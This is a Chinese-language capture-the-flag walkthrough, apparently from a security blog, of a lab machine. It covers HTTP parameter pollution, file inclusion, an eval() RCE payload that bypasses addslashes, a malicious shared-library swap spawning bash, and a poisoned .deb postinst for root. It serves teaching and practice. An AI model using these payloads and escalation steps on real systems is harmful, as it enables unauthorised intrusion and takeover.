信息收集
nmap -sP 192.168.56.0/24
nmap -sC -sV -p- 192.168.56.105
只有一个web,看一下web页面
语言为php,但目录没有扫出来东西,所以突破点只有这个web页面了,试一下HTTP 参数污染
这里介绍一下什么是参数污染,引用一下老外的文章
参数污染
参数污染就是重复、省略或者修改请求中的参数,使得应用程序的后端逻辑出现错误。
举个例子
在一个转账系统里,用户通过发送一个包含了账户、接收者和金额的URL来发起一笔转账,url如下:
https://www.anybank.com/send/?from=accountA&to=accountB&amount=10000
系统将从 accountA 到 accountB 进行 一笔金额为10000 的转载,但当我们再添加一个重复的from参数。例如
https://www.anybank.com/send/?from=accountA&to=accountB&amount=10000&from=accountC
这笔 10000 的交易将从 accountC 而不是 accountA 中扣除,这就是参数污染。
对于不同语言,解析参数的情况不一样,如下图
对于ASP.NET/IIS,如果一个参数在请求中出现多次,它会考虑特定参数的所有出现,例如par1出现了两次,其值分别是val1和val2,解析结果将包含这两个值。
而PHP/Apache里,如果参数出现多次,它将只考虑最后一次出现的参数。例如par1=val1和par1=val2都存在,解析结果将只使用par1=val2。
例如这样
?param=first_value¶m=second_value
PHP将会忽略first_value,而只会接受并处理second_value。
现在明白什么是参数污染以后,我们来试一下这个靶机。
实践
再加一个参数为date=birthday,访问如下url,会跳转到下面页面
http://192.168.56.105/index.php?event=birthday&date=3881678400&date=birthday
这个页面的内容是一些活动,特别像高中英语阅读理解的第一篇,哈哈哈
看一下这几个活动的详情页,把鼠标放在标题上可以看到对应的url
里面有一个特殊的url,如下图,方便读者看清楚,麋鹿把url摘选出来
http://192.168.56.105/birthday_party_program.php?page=https://www.mcdonalds.com/
做CTF的同学可能一眼看出来这是文件包含,而且下面有一句提示
ok,这就能证明存在文件包含了,下面还有一个计算日期的php页面,来包含一下
确实存在包含,把
http://192.168.56.105/birthday_calculator.php?dob=00-11-11
换成路径file:///var/www/html/birthday_calculator.php,看一下birthday_calculator.php的源代码(ctrl+u)
ok,来看一下上面的代码
eval()函数接受用户输入的值($_GET['dob']),这里就可以实现RCE,比如dob="; phpinfo(); //,只不过addslashes()会转义掉“,这个好绕,比如复杂变量
dob=${eval($_GET[1])}&1=phpinfo();
弹个shell,记得把eval换成system
看一下当前用户可以执行的sudo权限
注意这个/usr/bin/zodiac无需输入密码即以chloe用户权限执行,不了解的可以去看上一篇文章。这里不再赘述
看一下zodiac的动态链接库(so)
看一下libzodiac.so的权限
ok,现在的思情况如下:
当前www用户可以不需要密码执行zadiac程序,zadiac需要的libzodiac.so对所有用户都有写权限,也就是说www用户可以修改这个so文件,那么我们提权的思路如下
编写一个提权的so文件替换掉libzodiac.so,然后用高权限用户chloe运行zadiac时,我们自定义的so文件就会被加载执行
提权
在/tmp目录把如下代码(创建一个新的bash shell进程)写入priv.c
#include <stdlib.sh>
void get_zodiac_sign(){
system("/bin/bash");
}
int main(){
get_zodiac_sign();
}"
编译替换现有的/lib/x86_64-linux-gnu/libzodiac.so,然后用chloe用户执行zadiac
看进程和网络
找到一个ansible-playbook进程
PID=138424 | /usr/bin/python3 /usr/bin/ansible-playbook /etc/ansible/install.yml
看一下这个文件
那么现在提权的思路有如下几点:
1.修改/opt/script.sh文件
2.修改或替换/opt/packages/下的.deb
思路1无权限,故只有2思路可选,先来介绍Debian软件包的结构和文件形式
Debian软件包(通常以 .deb 为扩展名)是Debian及其派生Linux发行版(如Ubuntu)的软件包格式。目录结构如下
package/
DEBIAN/
control
postinst
控制文件control需要包含以下内容
-
Package: 软件包的名字。
-
Version: 软件包的版本。
-
Architecture: 软件包支持的架构(如 all, amd64, armhf 等)。
-
Depends: 软件包的依赖关系。
-
Maintainer: 软件包维护者的信息。
-
Description: 软件包的详细描述。
postinst则一般为shell脚本,需要执行权限。
打包成.deb文件命令如下
dpkg-deb --build package
创建并写入以下内容,给予权限,打包
kali监听,替换airspy_1.0.10-2+b1_amd64.deb或者book_1.0.3-3_amd64.deb
flag在/root下
欢迎关注我们的公众号--麋鹿安全,我们的文章会第一时间发布在公众号。
往期文章
权限维持和排查
继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)
别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)
你不知道的win应急思路!从维权到排查,面试必问!不来看看?
rootkit原理
从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)
漏洞复现和利用手法
从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具
从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具
从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)
浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理
从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理
遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)
浅分析 Apache Confluence [CVE-2023-22515]
一些工具和原理
浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)
浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理
一些渗透手法
打靶手记之hackmyvm--Registry(文件包含 缓冲区溢出 原理与利用) (qq.com)
试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)
试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)
从绕过disable_functions到关于so的一些想法
一些杂谈
考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)
晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)
2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)
再加一个打靶系列
如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)
打靶手记之hackmyvm--UnbakedPie (qq.com)